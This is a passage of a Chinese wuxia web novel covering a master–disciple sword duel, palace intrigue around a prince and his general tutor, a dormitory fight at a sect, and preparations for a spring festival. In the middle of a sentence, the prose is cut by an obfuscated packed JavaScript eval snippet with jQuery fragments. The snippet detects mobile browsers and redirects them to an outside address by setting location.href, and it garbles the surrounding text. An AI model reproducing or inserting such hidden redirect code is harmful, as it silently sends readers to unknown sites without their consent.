既然萧妖雪已经将这个话题带过，萧云雁和文妆也不再纠缠，而是将话题引到了赐婚之事上，圣人对于这桩赐婚的考虑，萧云雁之前就与萧妖雪分析过了，文妆毕竟是做母亲的人，她更关心的是这胡笳郡王这个人。她转向萧妖雪问道：“妖雪，听说你在胡笳城已经与那周明理见过面，你觉得此人如何？” 萧妖雪也被这突然转换的话题问得一愣，下意识的回答道：“周明理？他人挺好。” 文妆立刻有些不满的说道：“人挺好那哪行，你俩可是有赐婚在身，虽说他现在以他母亲为由，暂时延后了婚礼，但是你俩以后恐怕注定要一起过日子。” 说到这萧妖雪也从刚刚的愣神中回过神来，不禁又回想起在胡笳城二人的接触，虽说这周明理心思挺深沉，但是毕竟不是生长在京都，给人的感觉会比京都中那些皇子王孙更加自由洒脱一些，倒没有那般讨厌。只是文妆这么一说反倒让萧妖雪有那么一丝措不及防，一丝红晕不由得就爬上了脸颊。 萧云雁对着文妆打趣道：“人妖雪年纪轻轻，你给她着急什么。” 文妆也不示弱反驳道：“至少我有经验，不像某些人呀，这把年纪还是孑然一身。” 虽然之前沉重的气氛被文妆这几句话化解了不少，但是萧云雁依然看得出来萧妖雪此时正是郁结于胸，对于他们武人来说最好的疏解办法就是打一架。 “妖雪，你我许久未见，你的武艺为师也好久没有检查了，要不今晚就给为师露两手？” 萧妖雪自然听得出萧云雁这其中的意思，师傅看出了自己的心事，这是在帮自己。 “是！师傅！” 二人也不墨迹，趁着月色正好便来到庭院中央，之前萧云雁很少与萧妖雪对打，毕竟萧云雁也很少在谷内待。若是认真算来，这才是他们师徒二人第一次交手。 萧妖雪本以为萧云雁估计会拿把木剑与自己比划，却没想到，文妆直接将她的长剑拿了出来，这柄剑萧云雁去哪都带着，但是却没有人知道它的名字，所以在名器榜上也无处可寻，但却是货真价实一件宝器。 既然师傅拿出了自己的兵器，萧妖雪自然没有说还用木剑的道理了，气势大放，流彩剑在手中同样凝聚成了一柄长剑，黑夜中泛着与月光相同的淡淡的银光。 骤然，萧妖雪感受到从萧云雁身上散发出一股杀气，不知不觉间萧妖雪只觉得战意高涨，内心深处一直被隐藏的愤怒像是被点燃了一般，拿着流彩剑直冲向萧云雁，萧云雁对于这样的攻势也毫不示弱，长剑出鞘带着轻轻的凤鸣声，搭配挥动的破风声宛如一只巨鸟飞翔。 每每两剑相碰，又会有清脆的叮当声，就如同一只凤凰在宝剑上起起落落。虽然剑锋锋利，但是那只凤凰却是游刃有余。 萧妖雪接连递出十几式后发现虽然看似是自己一直在发难，但是萧云雁却防得滴水不漏，这一瞬间萧妖雪也意识到自己刚当的情绪似乎是完全被萧云雁杀气牵引，流彩剑作为一把暗器，虽说可以凝聚成长剑，但是这样正面进攻依然不是它的强项。而方才若不是萧云雁没有对自己发难，这一战她早就败了。 也就是在萧妖雪意识到这个问题的时候，手上攻势弱了半分。萧云雁就好似是看出了萧妖雪的心思，就在这一破绽之时挥剑向前，萧妖雪此时已经失了先手，只得快退一步。流彩长剑破碎重新组成一个盾牌防在身前，但是萧云雁的功力本就在萧妖雪之上，每每出击，萧妖雪都不得不后退。 眼见即将退至鱼塘旁边，若在再向后萧妖雪必然要分神提起轻功，那绝对就是萧云雁绝杀的好时机，所以这步绝对不可退。 萧妖雪眼神一凝，细细感知周围的灵动元素，只见那些紫色的光点迅速聚集到流彩剑凝聚的盾上。这样变化自然瞒不住萧云雁，心中暗想这妮子是想把自己电晕呀。 只见萧云雁下一式并非直刺，而是斜劈向雷盾，落下的剑锋上发着淡淡的红光。一击打出萧云雁也是毫不留恋飞身后退。 萧妖雪顿感不妙，只是现在再想提起轻功已经来不及了，只能硬着头皮接下了这一刀。 果然下一秒，只听得嘭的一声，刚刚她们交手的位置一半尘土飞扬，一半水花四溅，待得这些都散去，就看见萧妖雪略显狼狈的站在鱼塘对面的石柱之上。只是她现在周身已经看不到流彩剑的踪迹。 这一交手显然萧云雁占了上风，但是此时她却没有丝毫松懈。因为她清晰的感受到，周身的土壤中有什么隐隐欲出。 果然下一秒萧云雁四周砖块破碎，尘土中飞出几枚流彩剑的碎片，而萧云雁也是长剑在周身挽出几朵剑花，暗中突袭的流彩剑碎片与剑花相碰几秒后就叮叮当当落在了地上。 随着地面上叮当的声响，萧云雁的嘴唇动了几下，但是奈何萧妖雪和她相距甚远，实在看不清她说了什么。 萧妖雪知道萧云雁应当是没练过什么需要靠口诀来驱动的功法，所以她现在应该是在嘀咕什么。不过战场之上变化莫测，哪有这么多时间给萧妖雪来寻思她在说什么。 萧妖雪继续催动气息，几枚流光剑碎片从萧云雁身后的草丛中飞出，在外人看来就是这样悄无声息的直奔萧云雁而去。 只是这在萧云雁耳中，那恐怕是除非有一日她聋了才会注意不到的破风声。 这几枚碎片威力显然比之前地里那几枚强劲不少，萧云雁横剑挡住，但是还是被向着萧妖雪的方向逼退了几步，才将这几枚碎片给拦下。 正当那几枚碎片落地的时候，萧妖雪也借此机会近了萧云雁的身，却见萧云雁并没有及时回身格挡，而是将手中长剑扔了出去，这才侧身于千钧一发之际躲过了萧妖雪的一掌。就在二人擦身而过的时候，萧妖雪也听清楚萧云雁口中嘀咕的话语。 “十四、十五、十六。” 而在远处就传来了流彩剑落地的声音，长剑也在几息之间回到了萧云雁手中。 原来刚刚长剑脱手，萧云雁并没有失去对于长剑的控制，而是以气息牵引让长剑击退后面打算再度偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709290|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袭的流彩剑。 萧妖雪见偷袭计划也落空，便再度凝气成掌，只是这次在气息凝出的手章食指和中指的指缝处闪着微弱的亮光，下一秒气息凝聚成的手掌飘向萧云雁，只见萧云雁同样是凝气成剑，同样是一剑斜劈。 在剑与掌相碰的瞬间，整个潇湘谷内空气仿佛凝固了，就在下一秒以两者相击之处为中心，无形气息爆炸开来。明明已是夜深，林中鸟雀却因为这股能量而被惊醒，扑棱棱飞出树林，在树梢叽叽喳喳盘旋了半晌才落回巢中，山林的夜晚也才恢复平静。 在看潇湘谷内，刚刚气息凝聚成的剑和掌已经没了踪影，只在院子中留下了一个大坑，坑的中央静静地躺着一枚流彩剑碎片。而萧云雁的长剑正斜指萧妖雪，口中说道：“十七。” 此刻萧妖雪也没明白了萧云雁到底在数什么，原来从她一开始偷袭，萧云雁就在数她用出的流彩剑，直到自己出了第十七枚流彩剑，以此定胜负。 看着地上被刚刚爆炸开来的气息震得不轻的萧妖雪，萧云雁也是收了长剑将她一把拉起，拍了拍她身上的灰尘，也乘机检查了一下，自己徒弟是否有真的受伤，确认一切无事后，就想拉着萧妖雪快些离开。 还未等萧妖雪反应过来，一旁就传来了文妆的声音：“云雁！萧云雁！萧阁主！你这是打算今晚就走？” “那哪会。我这是想和妖雪讲讲感悟。”听到文妆声音后，萧云雁自知今晚这事是逃不了。 “在这里说不行吗？”别看文妆平日里文弱，但是生气起来确实咄咄逼人，就算是萧云雁也要惧她几分。 “哈哈，当然行当然行。妖雪你就记住，以后在绝对的力量面前，任何的阴谋诡计都无济于事。明白了吗？” 此时萧妖雪脑子还懵懵，只能嗯嗯的答应着。 “看来萧阁主也是明白道理的人了。那么这地砖一共碎了二十三片，旁边的石栏杆断了十四根。你是打算给银子还是金子呀？” 萧云雁听到这话心中大喊不妙，上次文妆和自己要银子还是因为修那鱼塘，就因为自己路上耽搁了几天，后面潇湘阁竟然全部都不给她住宿，害得她只能花钱住客栈，看来这次确实气到她了。 好在这时萧妖雪的脑子回过神来，看出了师傅的窘境，急忙忙对文妆说道：“文先生，文先生这钱我来出我来出。” 可是还没等萧妖雪拿钱，文妆就说道：“罢了，你是晚辈不用你出，本来想讹你师傅一顿的，你都说话了我也没机会了。屋子里的酒温好了，进来喝点吧。” 听到这话，二人都才松了一口气，跟着文妆进了屋。 潇湘谷内的杂役在几人进屋后就急急忙忙过来修来，第二日天明这院中就恢复如初。 屋中的三人则是借着淡淡的月光，喝着酒。月亮透过窗户倒映在酒杯里，这世上原来独一无二的月亮便有了三个，喝下那杯酒，仿佛喝下了月华一般。就这样，三人有一句无一句的喝了半夜，然后就着月光与酒塌又睡了半夜，最后沐浴着温暖的朝阳醒来。 萧云雁小记： 萧云雁回到京都又住了些时日，将军阁却依然没有动静。加上上次萧云雁训斥了胡铭一顿，胡铭再也没有来她住处之后，她这宅子简直门可罗雀。 在侯涛一事刚结束时，还会有将军阁暗探来盯梢，但是此事过去一个多月，连盯梢的人也没有了，萧云雁等得甚是无聊。 这样无所事事了半月，萧云雁才终于想起来自己还有一个身份——潇湘阁凉山域的令史。来京都这么久还没有去过京都潇湘阁，正好可以借此机会办件大事。 将军阁的管理主打松弛，入阁之人可以完全保持自己原有的身份，只要阁中没有任务，你完全可以去做自己想做的。只要将军阁要你做事的时候你不要动了二心，那么完全不用担心什么。但是若是真是对于将军阁有了不一样的想法，那么就得提前想想相关知情人的性命要怎么保住，毕竟现在的将军阁与暗杀武清一家是已经是有了天壤之别，不可能再有机会有漏网之鱼从中逃脱了。 所以萧云雁去潇湘阁也并未隐藏，当然在此时的将军阁眼中这一行为也毫无威胁。 京都潇湘阁中，萧云雁和当时的阁主提了一个要求，那便是希望通过京都潇湘阁安排，暗中见一见当朝宰相林华东。 本来这样的事情就算对方是一方令史，作为京都潇湘阁的阁主拒绝是完全合理，但是对方可是凉山域的令史，而且还姓萧。这身份可不是寻常令史可比。 凉山虽然地处偏僻，但是却有潇湘谷坐镇，所以那里令史身份相当于谷内之人，如今萧云雁和她提这要求完全不是交易，而是命令，所以此事不得不做。 至于萧云雁为何突然会要见见这宰相大人，完全是个人兴趣使然，如今朝中单骁为首的一派，渐渐有了权倾朝野的迹象，而与之分庭抗礼的以江家为首一群文臣，虽然说相较势弱，但是却是一股完全不容小觑的势力。 但是就在这两派斗来斗去的时候，当朝宰相林华东似乎已经完全隐退，一副置身事外的态度，这让萧云雁非常不理解，但是她隐约觉得这会是击破将军阁的重要一局，所以她不惜搬出自己凉山域令史的身份也要见林华东一面。 37. 少年英气 就在潇湘谷中几人相谈甚欢之时，之前负责跟踪的萧妖雪的那人，出现在了五皇子周明启的书房之中，跪在地上一动不敢动。周明启书房中中只点了一盏油灯，昏暗至极，他跪在地上就算抬头也看不清周明启的表情，但是此时他不看都知道自家主子表情有多恐怖。 周明启原本在书房中独坐，没想到派出去跟踪萧妖雪的探子却提前回来了，还给他带了这么一段话，现在心中越想越气，他总有一种被人戏谑的感觉，这般怒火无处发泄，只能通过怒斥倾泻在跪在眼前的这个探子身上。 在周明启得知了圣人转交了一封萧云雁的信给萧妖雪之时，他就怀疑她们师徒俩与潇湘阁有所关联，便派人暗中跟踪，可是一无所获，唯一收到的信息就是京都中的不少势力都派出了人在暗中监视。其中也不乏自己那二哥的探子，不过这些探子无一例外在监视了十多天并没有什么有用的消息之后，就逐渐撤退了，唯独他却一直没有放弃，只是没有想到最后换来的却是这样一番侮辱。 想到此处刚刚压下去的怒火又隐隐有燃起来的趋势，却刚好被门外侍女的敲门声打断，只听得门外侍女说道：“殿下，徐大将军来了。” 周明启深呼吸了一口，用手揉了揉因为愤怒瞪大而有些干涩的眼睛，语气也平静下来，对着门口说道：“劳烦师傅在会客厅稍等片刻，明启一会就到。” 可话音刚落就有人推门入，周明启背对着房门，他原以为是侍女不懂事，正要开口怒斥，转身却看到徐战站在门口，侍女则是有些心惊的站在门外。 自周明启幼时，圣人就安排他跟随徐战学习兵法，这一转眼十多年过去了，在周明启看来他见徐战的时间可比见自己那父亲的时间多得多，加之徐战待他也颇好，所以无论周明启在外人看来多不可一世，在徐战面前还是保持着谦恭的姿态。 见到来人是徐战，周明启也是很快的收敛了脸上的怒容，对着徐战恭敬的一拜，说道：“师傅见笑了，刚在教训那不会办事的下人。” 徐战倒是一副满不在乎的神态，手一抬周明启的胳膊，示意他不必多礼，同时对着跪在地上的探子和门外的侍女挥了挥手，示意他们先行退下。二人都看了看周明启，只见自家主人似乎并没有什么表示，便赶快离开了书房，侍女临走前还不忘将房门带上。 徐战环顾了一下这昏暗的书房，对着周明启开口问道：“殿下之前不是很怕黑吗？现在怎么舍得只点一盏油灯了？难道说这也是为了效仿你父亲？” 周明启愣了一下，他之前一直以为自己是在黑暗中更加舒适，可经过徐战这么一说，似乎是不知在什么时候得知了父皇有喜欢在黑暗中思考的习惯，之前那怕黑的习惯就消失的无影无踪了，反倒觉得像今日这样的黑暗还令他觉得很是舒适。 只是周明启自然不能承认，只是说道：“师傅误会了，我只是怕夜深了太过明亮影响到母亲的休息。” 他们师徒相处这么多年，周明启心中怎么想的徐战怎么会不知道，但既然自己这徒儿不承认，那这样的小事也不必过于强求，只是淡淡的说道：“圣人思考大事之时，往往一盏灯都不点，殿下下次要学就学的像一点。” 周明启沉默，徐战继续问道：“殿下派人跟踪了萧妖雪，可有什么收获？” “师傅不也派了人吗？那可有什么收获？”周明启的探子之前就传回了消息说，看到徐战的人也在暗中跟踪，徐战现在这一问多少有些明知故问的嫌疑。 徐战却对他的提问毫不在意，只是哈哈一笑道：“我那就只是做做样子，派出去的探子都不是一个，能有什么收获。” 周明启可没料到徐战会来这么一个说法，只能接着他的话往下说：“我的人也着实无能，今天跟到了城外，却不料失了目标，这不刚刚打算教训他一下，师傅您就来了。” 一番交锋下来谁也没有占到好处，周明启不想继续纠缠，他只觉得今夜徐战来，这张口闭口的话题总让自己觉得不舒服，但似乎这也不是他的目的，便问道：“师傅这大晚上的来找明启，恐怕不会只是为了这些毫无价值问题的吧。” 徐战又是哈哈一笑，对周明启说道：“殿下你是我在这些皇子最喜欢的一个，殿下可知为何吗？” “明启不知，还望师傅明示。” “因为你狠，不仅对别人狠，对自己也狠。” “……” “哈哈哈哈哈，今夜来找你确实有事，而且这事确实只能晚上说。” “还望师傅直言。” 徐战自顾自走到一旁桌边坐下，自己倒了一杯茶，自顾自的喝了起来，然后说道：“毕竟有关鬼的事情，还是晚上说更好。” 周明启也走到一旁坐下，却并没有喝茶，只是问道：“师傅是说鬼月旧案？” 徐战点点头，故作神秘对周明启说道：“殿下最近集中精力跟踪李家那丫头，恐怕对朝中之事有所疏漏。前几日圣人请了那位新刑案司副职去湖心亭谈心。” 周明启大惊，那湖心亭别说徐战、李治没有上去过，就连周明志和周明启他们这京都中的皇子都没上去过，这怎么突然就叫了一个新人上去。 “这袁墨和鬼月有关系？”周明启问出来反倒觉得有些明知故问的感觉了。 徐战却并没有把他这话撂下，只是有些文不对题说道：“袁卿，袁清，圣人好久都没说过这话了。”说完便饮尽了杯中茶，站起身来准备离开，推门前却又似想起了什么，背对着周明启说道：“圣人年纪大了，最怕的就是旧事重提，故人再见。有些情绪被翻出来难免人就不会那么坚强了，恐怕此事若是真的被翻出来，就算是他也会感觉到岁月不饶人，有些什么想法也是再正常不过了。” 说罢便推门离开了，只留下周明启一人呆在昏暗的房中，恰逢那盏残灯即将燃尽，开门门又吹进来一股寒风。屋内瞬间失去最后的光亮，只有门外渗进进来的丝丝月光，周明启突然觉得非常不适，急忙拿起火折子，点亮身旁的蜡烛，借助着微光才有了些许的平静。 此刻他又想到探子传回来萧妖雪的话“有这闲心不如多去和龙椅上那位谈谈心，说不好他心情好了，你们家主人还能尝点甜头。”难道说这这沉寂多年的东宫之位终于要有主了吗？ 说罢了京都风云，再看看这大漠风光也是无限好。武清宗回家过年的弟子也都陆续返回，马得源带了不少家中特产，回到武清宗后也是备受欢迎，这小马爷也是长足脸面，确是每天回到宿舍，就看到李无忧一脸面无表情，对于他的那些稀罕玩意也是漠不关心，马得源心中莫名有股无名火。要说当时比武输给李无忧，马得源心中还是有些不服气，之所以会愿意站出来替李无忧说那些话，也全是当时骨谙给看的父亲的书信给的想法。之后在武清宗，虽然他与李无忧一个宿舍，但是也没有过多交流，二人甚至也为不少小事争吵过。这次回来有看到李无忧这幅模样，马得源心中自然是不舒坦。 这段时间在武清宗学习马得源的本事可谓是增进不少，李无忧整日跟着武清，在他们面前也不出手，这让马得源总有一种自己恐怕已经超过他的感觉，毕竟马家天赋小少爷在武清宗中得的夸奖是不会少的。这越想心中的火气越大，看着李无忧就更不顺眼了。 至于李无忧呢，虽说自己明白为何姐姐不愿自己回家过年，但是看着一众弟子欢欢喜喜从家中回来，心中难免会有些低落，特别是与自己同宿的这个，整天拿着家中那些个宝贝事到处炫耀，李无忧只觉得心中一阵烦闷。 这一日晚休时间，马得源和他那些个小跟班三五成群来到了李无忧和马得源的宿舍，马得源又开始捣鼓他那些个小玩意，李无忧今日同武清习武归来已经非常疲惫，不料他们还在这吵个不停，李无忧已经连续几日忍着他们这一聚就聚到大半夜的行为，休息不好，平日练功也难以集中精力，今日甚至连武清都看出异样。房间中的说话声不绝于耳，李无忧越听越烦躁，便索性过去想提醒他们一句，刚来到马得源床边，便看到他们正摆弄些马家的袖箭，做工确实精巧，但算不上上乘，却被这些拍马家马屁的吹得天花乱坠，这李无忧心中的火更盛。 马得源看着李无忧只是过来看着他们摆弄的东西，却一言不发，还以为是这李家小公子看上什么了。便开口道：“这些个可都是我们马家好东西，李公子久居京城若是觉得稀罕，看中哪个我送你便是，就当你欠我一个人情。”说罢还挪了挪位置让李无忧看得更清晰。 周围的学子也是附和调侃道：“是呀是呀，马家这宝贝可不是轻易见，今日小马爷这么慷慨，也是你小子遇上好人了。” 李无忧扫了一眼床上的袖箭，只觉得都是平常之物，之前赵江河给过自己一套袖箭，那可比这好上十万八千里。这帮目光短浅之辈，恐怕从未去过京都，就口吐豪言，还真是井底之蛙。 “不必了，也烦请诸位早些回去休息了。”虽说李无忧词句很是客气，但是戾气已经是无法掩盖了。那些个学子听了也是心中一怵，但是自己老大都没说话，自己怎么好得走。 不过好在马得源也并未为难他们，而是挥了挥手示意他们先散去。而只留下自己一个人和李无忧对峙。 见聒噪的人群离去，李无忧也不愿意再和马得源纠缠，背身便向着自己的床榻走去。马得源却紧跟他身后，不紧不慢地出声说道：“李公子这副表情是什么意思，你坏了我的心情，现在一句对不起都没有。原来你李无忧是个这样不惹人喜的人呀，难怪这李家给你送出来，就不想要你要你回去。我看你那姐姐也是才认回来几天就看你不顺眼，才把你丢到这么远的地方来。你那宰相的父亲该不会也是受够了你这些年惹的事情，还说保护你，你想想你们家一人之下万万人之上，谁会想上你呀。又或者说你太弱了，让那些各想懂你们李家的都盯着你下手。不过要我说还是前面......” 马得源说话间已经走近李无忧，不过李无忧背对着他，他一时看不清他的表情，说出去的话也没个反应，反倒让他有些不爽，于是也便往前几步绕到李无忧身前，但他话还没说完，也还没看清李无忧的表情，便觉得脚下一绊，身体便向前倒去，好在前面就是床铺， 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李无忧自知刚刚下手有些重了，但是开弓没有回头箭，这又是马得源挑衅在先。李无忧松开马得源的腰，又给他把衣服整理好，起身说道：“马家小少爷以后还是嘴上多积德，不然您被打屁股这事传出去，您脸上也挂不住不是吗？不早了，快些睡吧。” 马得源此时难得安静了，灰溜溜地回到自己床榻去了，路过李无忧时，李无忧明显感受到，他绕了个弯。 之后一夜无话，马得源醒来，便看到自己桌上放了一瓶金创药，本想着要面子不去理会，但刚下地便觉得不对劲，昨晚只觉脸面上非常有损，今日竟然连走路都痛得不行，马得源心中暗骂李无忧，又看向桌上那瓶金创药，一把拿过乖乖的回床上把药给涂了。而这一切也被站在门外的李无忧看尽严重。李无忧自知昨晚下手重了，所以今早特地给他留了自己从京都带来的上好的药。看到自己不在，马得源也是拿得起放得下，便放心了。这才转向了，武清的住所。 武清已经在门前等着，今日武清并未带李无忧去练武场，而是去了祠堂。二人寻两个蒲团便开始打坐，李无忧对此很是困惑，昨日武清本说，今日有新的招式要传授给他，可怎么突然就带自己来这打坐。不过既然是师傅的安排，自己也不好说什么，跟着做便是了。 上午二人就在这样的打坐中度过，李无忧闻了一上午的香烛气，内心竟然也平静了不少。 午膳过后，武清还是带着李无忧来到祠堂，二人进去后，武清并未同早上那般闭眼开始打坐，而是寻了个避风的墙角拉着李无忧坐下后，道：“无忧，今日我们便不练武了。昨天潇湘阁将今日京都中的大小事，我能知道都整理了一份给我，我也正愁无人分享，不如就你来听我说说吧。” 李无忧虽然年纪小，但是毕竟是京都中长大的孩子，结合近几日自己的表现，也猜出了武清这么做的原因，他这么说估计是不想让自己感觉过于被保护，不过能听听姐姐事情，那当然是件好事，于是也就点头应下。 在武清的讲述中天色很快就暗下来，晚饭时候李无忧都还在回味，直到走到武清住处才惊醒。本想着就此告别，不料武清突然说道：“无忧，你同我进来。”说罢便先行迈入屋内。 虽说李无忧已经拜入武清门下半年有余，但是却从未进过武清的住所。今日也不知所为何事，武清突然就允许自己进来了。 屋内陈设还是同萧妖雪来时一样简单，武清拿来一个木质的匣子交给李无忧，打开来正是之前武清本想送与萧妖雪的那把通体漆黑的长剑。 武清看着那柄剑道：“此剑名为墨剑，是一个铸剑师给他徒弟打造的，希望他徒弟以墨养性，戒骄戒躁。那徒弟那时还不明白此间道理，在明白时，发现已经不配再用此剑了。现在这剑到了你手里，为师希望一开始就同你说清这之中的道理，你以心养剑，剑也会真心保你，二者相互成就也算了了那位铸剑师的心愿。” 李无忧楞楞地接过墨剑，墨剑入手不似铜枪铁剑那般冰冷，反倒似有一股暖流在流动。李无忧对于武清那段话也是似懂非懂，但是经过这几日的情绪变化，他似乎也能从中品味到一些东西。 武清见李无忧不言语，也不多说，示意他回去好生休息，明日就带着墨剑来练习。于是李无忧就这样浑浑噩噩的回到了宿舍。今夜的宿舍倒也安静，马得源回来看到李无忧已经躺下，也没有特意寻不愉快，而是安安静静的上床休息了，只是路过李无忧床榻时，看到那柄墨剑也是一惊，他本就出生于兵器世家，对于这柄墨剑他虽说不知道来历，但是也可以感到这绝非寻常之物，但扪心自问自己恐怕是不太可能驾驭的。 这一夜，李无忧做了很多梦，有之前在相府的经历，也有今日武清同自己讲述的今日京都的风云，还有一些武清宗中的情景。但是无一例外，梦中的情景没有颜色，全是墨色渲染。 墨剑寻了归处，铸剑师的寄托终究也有了归宿。墨色渲染之处虽说非黑即白，但是墨汁深浅却也可以绘出层峦叠嶂，也是描摹世间万物，看画者从不会因为墨色单一，而觉得这画缺乏韵味。江湖中人，也绝不会因为非黑即白而困于一隅，待到画笔到时，这着墨深浅自然跃然纸上。 38. 春神祭祀 冬去春来，京都的冬日肃杀之气被春日的暖阳洗净，同样一起被洗净的还有正月中喜气的氛围，京都的生活又恢复原状。崔伦自从当年鬼月案之后得了一次晋升，但确实不温不火的升到了祭礼司，然后这些年无论怎么运作都难以再进一步，不过好在也还祭礼司的油水不少，生活过得也还是滋润。 可是人在这样舒适的环境中总是会放松警惕。当时崔伦才对鬼月动了手，那每天过得都是惴惴不安，但是这样的心情在安安稳稳过了几年后，也就消失了。 这日圣人在早朝之时谈及春神祭，崔伦听得祭礼司的祭礼司的大人们回来安排工作，就知道这祭礼司每年最忙的时候要来了。春神祭是东梁一年中最热闹的一次祭祀，这背后的原因更多是因为东梁建国在寒冬，时近当时春神祭正是新朝安定，万象更新之时。 当时的圣人，为了新的一年国泰民安，就按着家乡的风俗要求东梁境内开展春神祭。官宦大家要打造漂亮的花车，在春神祭那日在城市的中心街道两侧观赏，然后将自制的彩幡送给自己喜欢的花车。圣人也会在京都巡游的花车队伍中点一金，并且将这辆花车停靠在宫门三日。 而上面这整个过程都需要祭礼司的参与，无论是京都的花车巡游还是地方的游行，都会有祭礼司的官员到场。 如果能够监办京都的春神祭，只要办好了那么这绝对是在祭礼司飞黄腾达的好机会，就算没有什么出彩的部分，光是收一收那些官宦大家送来礼金也能捞好大一笔油水，若是去了地方，也有蝇头小利，但那相比于京都的那可是少得太多了，不过好在地方有自己的体系，前往的祭礼司官员只要监督见证即可，也没有京都的工作量那么大。 崔伦因为在祭礼司的职位并不算高，往年也都是被派出京都，所以他对于这次春神祭也没有过多的期待。可是在看到最后祭礼司任命告示时，他是吓了一跳，那告示上白纸黑字写着他崔伦担任本次京都春神祭的副监办。 这样的情虽说往年也不是没有出现过，但是他崔伦，自诩之前自己在的地方办的春神祭也是中规中矩，这怎么突然就有了这样的机会，这让他多年未提起的警惕感又萌生了不少。 但是还不及他多想，后面就有同僚叫住了他，通知他祭礼司的几位大人正在等他，崔伦也只能匆忙赶了过去。 议事厅中主位上坐的是祭礼司正职王全，旁边一众祭礼司中主要的官员也在，看见崔伦进来后，纷纷停下了议论，等待王全发话。 王全喝了一口茶说到：“崔大人，来祭礼司也好些年了，这些年的春神祭，若是我没有记错的话，这京都的春神祭你还没有参加过吧？” 崔伦自知这事恐怕是有祭礼司这几位主事人的谋划在其中，说不好还有圣人的旨意，这告示已经白纸黑字写出来，估计要改变也是不太可能了。只能待会旁敲侧击的问问，这其中到底有什么意思。 “王大人好记性，崔伦确实都是在地方做正监办。” 王全听后也是点头说道：“不错，地方正监办做了这么多年了也该剩一升了。圣人觉得这几年的春神祭模式太过于单调，希望我们祭礼司有所改变。我与几位大人协商了一下决定调一批原来在地方干活的官员来参与办这京都的春神祭，说不好还有些不一样的地方。正监制我还是保留了祭礼司副职吴瑞。不过你们平日里也一同共事过，吴大人的性子你也是清楚的，他可喜欢别人提些新点子了。” 坐在王全旁边一个略显清秀男子微微一些，此人正是吴瑞，崔伦之前确实有幸与他共事过，也知道这位吴大人性情温和，而且在目前在京都之中却是不站队伍，和崔伦之前干的那件不干净的事情也不相关，这也让崔伦渐渐放下了心来。 与吴瑞微微行礼后，又对着王全问到：“王大人，不知这次春神祭的主题是什么？圣人那边可有什么特别的要求？” 王全思索了一下到：“特别的要求倒是没有，既然是祭祀，主题的话我们同圣人商议后决定是追缅。” 听到这吴瑞和崔伦都愣了一下，追缅这个主题在春神祭中确实不常见，一般春神祭都是一些美好的展望，鼓舞人心的主题。不过他们祭礼司的人也不是吃白饭的，既然圣人提出了这样的一个主题，春神祭又是这样的性质，二者也是可以相互结合，说不好还真的能做出一些不一样的效果。 大致交代完之后，王全就让崔伦和其他人先行回去准备了，只留下吴瑞。 众人散去后的议事厅略显冷清，王全面对吴瑞时，刚刚那份官气也少了不少，只是了带关心的问道：“你确定这样真的行吗？当真不会连累你？” 吴瑞说到：“当年她们对我有恩，如今有求于我，自然不容我拒绝。虽然我不知，为何她们要点崔伦做副监办，但是我相信她。” “就算最后会搭上你的前程？为了女人值得吗？” “说是不担心自然是不可能的，但是我有一种预感，祭礼司今年的春神祭，有可能与开朝那次春神祭齐名。” 话已至此，王全也不能说什么了，这件事是圣人的意思，听吴瑞的意思，那边的人还专门找过他，那只能希望这次春神祭可以青史留名吧。 这是袁梅第一次进潇湘阁，兄长这几日好像有向潇湘阁买了什么，奈何公务缠身，只得让她前来。 这一进门引入眼帘的纸醉金迷的氛围着实让她有些不适，又联想到萧妖雪竟然是这的大东家，内心的割裂感不由得又重了几分。不过还好，她很快就被引到了四楼，四楼的氛围就典雅许多，伴着淡淡的茶香袁梅的不适也缓解了不少。 不一会沈轻离推门进来，看到是袁梅眼神中闪过意思惊讶，这个姑娘在之前帮萧妖雪查两天村的是看过她的相关资料，今日一见，果然是有些不平凡。不过看她这表情，应该还是第一次来着地方，按着她哥和萧妖雪的情况来看，以后这她估计来得要比她老家勤快了。 袁梅带走相关资料后，并未着急查看，她知道如今复仇的事她兄长自有决断，自己无需干涉太多。 从潇湘阁回到袁府会经过整个京都最繁华的地段，袁梅拿着重要的东西着急赶路无心留意周围的人和事，在她又一次走过一个巷口时，她也并未注意到巷子里投来的目光。那份目光中带着惊喜，但是却很难忽视其中饱含的算计。 小厮走到周明启身边，躬身说到：“殿下，时辰不早了，您还要去趟徐大将军那里，可不能误了进宫的时辰。” 周明启眼见眼前掠过的人已经不见踪迹，收回了视线，对着小厮一挥手说到：“走吧。”而却向着与徐府完全相反的方向走了。 小厮刚想提醒，便听到自家殿下说到：“不去徐府了，我先回趟府邸，然后直接进宫。你去帮我查查最近风生水起的袁墨家中情况。” 小厮应下，刚转身要走，又听到周明启说到：“对了，以后我要你们查的东西，都不要再去潇湘阁买消息了，直接用我们自己的暗线网去查。” 潇湘阁是这整个东梁消息最灵通的地方，而且这么多年来保密性也挺好，五殿下怎么突然说不用就不用了，对此小厮虽然不解，但毕竟是自己主子的命令，也只能应下。如果殿下坚持如此，这王府的开支倒是能省上一大笔，只不过苦了他们这些当下人的，估计时间长了还是会有人萌生出走捷径的想法。 周明启确实按他所说的并没有再去见徐战，而是回到府邸，翻箱倒柜最终找出了一柄与他王府看起略微不搭的长剑。虽然长剑看起朴素至极，但是细看剑锋确实打磨的锋利，而且这样的打磨并非使用磨刀石可以磨出来的，而是在一段时间内与另一柄剑，相互切磋才能留下的痕迹。 周明启拿着长剑在油灯下仔细端详了一番，又拿出绢丝的手帕认真擦拭，好似突然找到了自己珍藏多年的宝贝，想要擦干净宝贝上这些年留下的灰尘。待长剑已经被他擦得光亮如新时，周明启将沾了灰的手绢扔进了旁边的火盆，只见火舌一舔，那丝绢便化作了灰烬，周明启起身拿着长剑在屋内比划了两式，然后归剑入鞘，将长剑置于剑架之上，嘴中喃喃道：“你恐怕也没想到，这么快就会见到你那不要你的主人吧。” 